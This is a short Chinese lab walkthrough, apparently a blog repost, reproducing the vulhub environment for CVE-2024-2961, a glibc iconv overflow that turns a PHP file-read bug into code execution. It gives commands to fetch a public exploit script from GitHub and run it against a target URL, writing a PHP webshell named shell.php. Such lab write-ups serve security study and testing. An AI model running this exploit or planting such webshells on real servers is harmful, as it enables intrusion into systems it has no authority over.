vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
csbysj202012 小时前
Bootstrap 代码深度解析与实战应用
开发语言
弹简特12 小时前
【Java-阔怕的JVM】JVM
java·开发语言·jvm
不绝19112 小时前
MonoBehavior/GameObject/Time/Transform/位移/角度旋转/缩放看向/坐标转换
开发语言·python
凯子坚持 c12 小时前
Qt常用控件指南(4)
开发语言·qt
运筹vivo@12 小时前
BUUCTF: [极客大挑战 2019]Upload
前端·web安全·php·ctf
代码无bug抓狂人12 小时前
C语言之切蛋糕(运用前缀和算法和单调队列算法)
c语言·开发语言
量子炒饭大师12 小时前
【C++入门】Cyber骇客构造器的核心六元组 —— 【类的默认成员函数】明明没写构造函数也能跑?保姆级带你掌握六大类的默认成员函数(上:函数篇)
开发语言·c++·dubbo·默认成员函数
漫漫求12 小时前
Go的panic、defer、recover的关系
开发语言·后端·golang
运筹vivo@12 小时前
攻防世界: easyupload
前端·web安全·php·ctf
Tony Bai12 小时前
2025 Go 官方调查解读:91% 满意度背后的隐忧与 AI 时代的“双刃剑”
开发语言·后端·golang